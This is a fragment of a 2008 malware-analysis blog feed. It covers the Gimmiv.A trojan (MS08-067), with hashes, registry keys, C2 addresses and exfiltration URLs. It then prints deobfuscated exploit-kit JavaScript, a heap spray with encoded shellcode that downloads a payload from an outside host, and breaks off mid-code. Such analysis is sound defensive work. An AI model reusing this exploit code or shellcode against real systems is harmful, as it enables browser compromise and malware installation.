class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3812859427594797116-7063588619106380852?l=xanalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xanalysis.blogspot.com/feeds/7063588619106380852/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3812859427594797116&amp;postID=7063588619106380852' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/7063588619106380852'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/7063588619106380852'/><link rel='alternate' type='text/html' href='http://xanalysis.blogspot.com/2008/11/ms08-067-and-w32wecorl.html' title='MS08-067 and W32.Wecorl'/><author><name>-kc</name><uri>http://www.blogger.com/profile/10201182625344593178</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3812859427594797116.post-7196353305343320623</id><published>2008-11-06T20:50:00.008-05:00</published><updated>2008-11-06T21:20:59.571-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MS08-067'/><category scheme='http://www.blogger.com/atom/ns#' term='buffer overflow'/><category scheme='http://www.blogger.com/atom/ns#' term='Gimmiv'/><title type='text'>MS08-067 and Trojan.Gimmiv.A</title><content type='html'>On 24 October 2008, Microsoft released an out-of-cycle patch that addressed a stack buffer overflow vulnerability in the Microsoft Windows Server service &lt;a href="http://www.microsoft.com/technet/security/Bulletin/ms08-067.mspx"&gt;MS08-067&lt;/a&gt;, &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250"&gt;CVE-2008-4250&lt;/a&gt;. Per Microsoft, "This security update resolves a privately reported vulnerability in the Server service. The vulnerability could allow remote code execution if an affected system received a specially crafted RPC request. On Microsoft Windows 2000, Windows XP, and Windows Server 2003 systems, an attacker could exploit this vulnerability without authentication to run arbitrary code. It is possible that this vulnerability could be used in the crafting of a wormable exploit."&lt;br /&gt;&lt;br /&gt;Public &lt;a href="http://www.milw0rm.com/exploits/6824"&gt;exploit code&lt;/a&gt; and malware began circulating as soon as the patch was released. &lt;a href="http://www.microsoft.com/security/portal/Entry.aspx?name=TrojanSpy%3aWin32%2fGimmiv.A"&gt;Microsoft &lt;/a&gt;and &lt;a href="http://www.symantec.com/security_response/writeup.jsp?docid=2008-102320-3122-99&amp;amp;tabid=2"&gt;Symantec &lt;/a&gt;provided analysis on malware known as Gimmiv.A. The malware harvests and exfiltrates system information and is able to scan and exploit the MS08-067 vulnerability. The following provides analysis findings for Gimmiv.A.&lt;br /&gt;&lt;br /&gt;Site 59.106.145.58 (JP) was found to host nine Gimmiv.A binaries, n*1-9.&lt;br /&gt;&lt;br /&gt;http[:]// 59.106.145.58/n*.exe&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;dc3fdfde66fffb6cfbec946a237787d8 397312 59.106.145.58/n1.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;f173007fbd8e2190af3be7837acd70a4 397312 59.106.145.58/n2.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;3ee354cc8b63b8849b28e6f376f2b263 397312 59.106.145.58/n3.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;6c3e53864541bb13fa7853f7b580b807 397312 59.106.145.58/n4.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;24cd978da62cff8370b83c26e134ff4c 397312 59.106.145.58/n5.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;86d75ae361637a8f9114bb3a40f710d3 397312 59.106.145.58/n6.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ee70f981514803e1fb4e6b65f492a56d 397312 59.106.145.58/n7.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;8d66f28d028a4838d09ce4b91d35b7cb 397312 59.106.145.58/n8.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;477aac8d472a7bea8b906718a2f50c67 397312 59.106.145.58/n9.exe&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The malware n2.exe was analyzed as an example.&lt;br /&gt;&lt;br /&gt;n2.exe creates c:\WINDOWS\system32\wbem\sysmgr.dll&lt;br /&gt;&lt;br /&gt;sysmgr.dll&lt;br /&gt;1cdc67b1d55e9a2d30c0dba193375c11&lt;br /&gt;336384 bytes&lt;br /&gt;&lt;br /&gt;The following registry keys are created to install the malware as a service.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"sysmgr" = sysmgr&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"DisplayName" = System Maintenance Service&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"ErrorControl" = 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"ImagePath" = %SystemRoot%\System32\svchost.exe -k sysmgr&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"ObjectName" =  LocalSystem&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"Start" = 2&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"Type" = 10, 01, 00, 00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\sysmgr\Enum&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"0" = Root\LEGACY_SYSMGR\0000&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"Count" = 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"NextInstance" = 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\sysmgr\Parameters&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"ServiceDll" = C:\WINDOWS\System32\wbem\sysmgr.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"ServiceMain" = ServiceMainFunc&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\sysmgr\Security&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"Security" = binary data&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The malware searches the registry for the presence of installed antivirus programs and active processes for avp.exe and dwm.exe.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0002549C   1002549C      0   SOFTWARE\BitDefender&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;000254B4   100254B4      0   avp.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;000254BC   100254BC      0   SOFTWARE\Jiangmin&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;000254D8   100254D8      0   SOFTWARE\KasperskyLab&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;000254F0   100254F0      0   SOFTWARE\Kingsoft&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025504   10025504      0   SOFTWARE\Symantec\PatchInst\NIS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025524   10025524      0   SOFTWARE\Microsoft\OneCare Protection&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0002554C   1002554C      0   SOFTWARE\rising&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0002555C   1002555C      0   SOFTWARE\TrendMicro&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025574   10025574      0   dwm.exe&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The malware sysmgr.dll sends ICMP Echo requests to 202.108.22.44 and 64.233.189.147. An Echo reply was returned from 64.233.189.147.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Source                Destination           Protocol Info&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;192.168.0.13          202.108.22.44         ICMP     Echo (ping) request&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;192.168.0.13          64.233.189.147        ICMP     Echo (ping) request&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;64.233.189.147        192.168.0.13          ICMP     Echo (ping) reply&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The ICMP packet contains a string of characters abcde12345fghij6789.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0000   00 0f 66 5e 0e 78 00 0c 29 ec 1c 43 08 00 45 00  ..f^.x..)..C..E.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0010   00 30 00 81 00 00 80 01 98 fe c0 a8 00 0d ca 6c  .0.............l&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0020   16 2c 08 00 ba 5f 02 00 02 00 61 62 63 64 65 31  .,..._....abcde1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0030   32 33 34 35 66 67 68 69 6a 36 37 38 39 00        23 45 fghij6789.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The binary strings of sysmgr.dll reveal the ICMP string and a third IP 212.227.93.146&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00039018   00439018      0   abcde12345fghij6789&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00039030   00439030      0   212.227.93.146&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00039070   00439070      0   64.233.189.147&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00039090   00439090      0   202.108.22.44&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;202.108.22.44 (CN)&lt;br /&gt;Reverse lookup xd-22-44-a8.bta.net.cn&lt;br /&gt;&lt;br /&gt;64.233.189.147 (US)&lt;br /&gt;Reverse lookup hk-in-f147.google.com&lt;br /&gt;&lt;br /&gt;212.227.93.146 (DE)&lt;br /&gt;Reverse lookup s167748465.websitehome.co.uk&lt;br /&gt;&lt;br /&gt;The malware captures host information such as IP address and hostname and credentials from Outlook Express and Protected Storage.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025E04   10025E04      0   Username&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025E10   10025E10      0   82BD0E67-9FEA-4748-8672-D5EFE5B779B0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025E38   10025E38      0   Advapi32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025E48   10025E48      0   CredEnumerate&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025E58   10025E58      0   CredFree&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025E64   10025E64      0   Passport.Net\*&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025E74   10025E74      0   pstorec.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025E80   10025E80      0   PStoreCreateInstance&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025E9C   10025E9C      0   89c39569&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025EA8   10025EA8      0   5e7e8100&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025EB4   10025EB4      0   e161255a&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025EC8   10025EC8      0   StringIndex&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025ED4   10025ED4      0   :String&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025EDC   10025EDC      0   :String&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025EE4   10025EE4      0   http:/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025EEC   10025EEC      0   https:/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025EF8   10025EF8      0   ===============Outlook Express===============&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025F28   10025F28      0   ===============Credential Info================&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025F58   10025F58      0   ============Protected Storage Info=============&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025F94   10025F94      0   Pass: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025F9C   10025F9C      0   URL: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025FA8   10025FA8      0   GetWebInfo&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025FB4   10025FB4      0   &lt;%s %d&gt; !!! Web ID/Pass Info ERR&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025FE7   10025FE7      0   ksysmgr&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The malware exfiltrates the captured information to 59.106.145.58/test2.php?abc=[num]?def=[num]. The abc value represents the installed antivirus version and the def value represents the OS version. The exfiltrated data protected with encrypted with AES encryption.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025638   10025638      0   ?abc=1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025648   10025648      0   ?abc=3&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025658   10025658      0   ?abc=4&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025668   10025668      0   ?abc=5&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025678   10025678      0   ?abc=6&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025688   10025688      0   ?abc=7&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025698   10025698      0   ?abc=8&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;000256A8   100256A8      0   ?abc=9&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;000256B8   100256B8      0   ?abc=2&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;000256C8   100256C8      0   ?def=2&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;000256D8   100256D8      0   ?def=3&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;000256E8   100256E8      0   ?def=1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;000256F8   100256F8      0   ?def=4&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00025708   10025708      0   ?def=5&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Gimmiv.A attempts to connect to the remote IP address 59.106.145.58 to download a CAB file to %System%\initproc02x.cab. From the CAB file, the trojan extracts the following files:&lt;br /&gt;&lt;br /&gt;winbase.dll&lt;br /&gt;basesvc.dll&lt;br /&gt;syicon.dll&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;311296  82ba009746da8603c463f37e381a42a4  basesvc.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;200704  60d692fd52098f145e448bd985fcff6d  syicon.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;49152  40cb861ad59c804f340fd8a2a28e226c  winbase.dll&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The additional dlls provide the functionality of scanning and exploiting the MS08-067 vulnerability.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3812859427594797116-7196353305343320623?l=xanalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xanalysis.blogspot.com/feeds/7196353305343320623/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3812859427594797116&amp;postID=7196353305343320623' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/7196353305343320623'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/7196353305343320623'/><link rel='alternate' type='text/html' href='http://xanalysis.blogspot.com/2008/11/ms08-067-and-trojangimmiv.html' title='MS08-067 and Trojan.Gimmiv.A'/><author><name>-kc</name><uri>http://www.blogger.com/profile/10201182625344593178</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3812859427594797116.post-8800198532698521537</id><published>2008-09-30T21:24:00.009-04:00</published><updated>2008-09-30T22:01:17.428-04:00</updated><title type='text'>Exploit Toolkit Expansion</title><content type='html'>Automated exploit toolkits such as MPack, Neosploit, and various knockoffs continue to add exploits targeted against a wide variety of Microsoft Internet Explorer, Microsoft Office, Firefox, 3rd party plug-in and application (Flash, Adobe Acrobat Reader, WinZip, media players, etc.) vulnerabilities. The following exploit toolkit sample targeted 17 vulnerabilities.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Exploit Code Analysis:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A compromised website contained an iframe that redirected to http[:]//mixlong.cn/in/. The mixlog.cn site contained an iframe that redirected to http[:]//59.125.229.71/ex/7/index.php. The index.php page returned obfuscated JavaScript that decoded to reveal exploits targeted against the following vulnerabilities.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;MDAC RDS.Dataspace ActiveX Control Vulnerability - CVE-2006-0003 - MS06-014&lt;br /&gt;&lt;br /&gt;Microsoft Windows WebViewFolderIcon ActiveX integer overflow - CVE-2006-3730 - MS06-057&lt;br /&gt;&lt;br /&gt;Microsoft Access Snapshot Viewer ActiveX Control Vulnerability - CVE-2008-2463 - MS08-041&lt;br /&gt;&lt;br /&gt;Heap-based buffer overflow in DirectAnimation.PathControl COM object - CVE-2006-4446 - MS06-067&lt;br /&gt;&lt;br /&gt;COM Object Instantiation Memory Corruption Vulnerability - CVE-2005-2127 - MS05-052&lt;br /&gt;&lt;br /&gt;Microsoft Works ActiveX Control Remote Code Execution - CVE-2007-5348 - MS08-052&lt;br /&gt;&lt;br /&gt;Ourgame GLWorld GLIEDown2.dll ActiveX Control Vulnerability&lt;br /&gt;&lt;br /&gt;CA Products DSM ListCtrl ActiveX Control Code Execution Vulnerability - CVE-2008-1472&lt;br /&gt;&lt;br /&gt;Adobe Reader and Acrobat Multiple Stack-based Buffer Overflow Vulnerabilities - CVE-2007-5659&lt;br /&gt;&lt;br /&gt;America Online SuperBuddy ActiveX Control Code Execution Vulnerability  - CVE-2006-5820&lt;br /&gt;&lt;br /&gt;GOM Player GOM Manager ActiveX Control Buffer Overflow - CVE-2007-5779&lt;br /&gt;&lt;br /&gt;Microsoft XML Core Services XMLHTTP ActiveX Control Vulnerability - CVE-2006-5745 - MS06-071&lt;br /&gt;&lt;br /&gt;Apple QuickTime RTSP Content-Type header stack buffer overflow  - CVE-2007-6166&lt;br /&gt;&lt;br /&gt;RealNetworks RealPlayer ActiveX controls property heap memory corruption - CVE-2008-1309&lt;br /&gt;&lt;br /&gt;Online Media Technologies NCTsoft NCTAudioFile2 ActiveX buffer overflow - CVE-2007-0018&lt;br /&gt;&lt;br /&gt;Creative Software AutoUpdate Engine ActiveX stack buffer overflow - CVE-2008-0955&lt;br /&gt;&lt;br /&gt;Sina DLoader Class ActiveX Control 'DonwloadAndInstall' Method Arbitrary File Download Vulnerability&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Index.php Exploit Code:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;var url="http[:]//59.125.229.71/ex/7/load.php?id=4366";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   var m=new Array();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   var mf=0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   function hex(num,width){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    var digits="0123456789ABCDEF";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    var hex=digits.substr(num&amp;amp;0xF,1);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    while(num&amp;gt;0xF){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     num=num&amp;gt;&amp;gt;&amp;gt;4;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     hex=digits.substr(num&amp;amp;0xF,1)+hex;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    var width=(width?width:0);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    while(hex.length&amp;lt;width)hex="0"+hex;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    return hex;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   function addr(addr){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    return unescape("%u"+hex(addr&amp;amp;0xFFFF,4)+"%u"+hex((addr&amp;gt;&amp;gt;16)&amp;amp;0xFFFF,4));&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   function unes(str){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    var tmp="";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    for(var i=0;i&amp;lt;str.length;i+=4){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     tmp+=addr((str.charCodeAt(i+3)&amp;lt;&amp;lt;24)+&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     (str.charCodeAt(i+2)&amp;lt;&amp;lt;16)+&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     (str.charCodeAt(i+1)&amp;lt;&amp;lt;8)+&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     str.charCodeAt(i));&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    return unescape(tmp);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   function hav(){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    m=m;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    setTimeout("hav()",1000);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   function gss(ss,sss){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    while(ss.length*2&amp;lt;sss)ss+=ss;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    ss=ss.substring(0,sss/2);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    return ss;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   function ms(){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    var plc=unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u352F%u2E39%u3231%u2E35%u3232%u2E39%u3137%u652F%u2F78%u2F37%u6F6C%u6461%u702E%u7068%u693F%u3D64%u3334%u3636%u7326%u6C70%u353D");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    CollectGarbage();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    if (mf)return(0);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    mf=1;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    for(i=0;i&amp;lt;hb;i++)m[i]=ss+plc;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    hav();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    return(1);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   function cobj(obj){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    var ret=null;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    if(obj.substring(0,1)=="{"){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     try{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      var clsid=obj.substring(1,obj.length-1);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      ret=document.createElement("object");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      ret.setAttribute("classid","clsid:"+clsid);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      return ret;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     }catch(e){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      return null;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    }else{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     try{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      ret=new ActiveXObject(obj);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      return 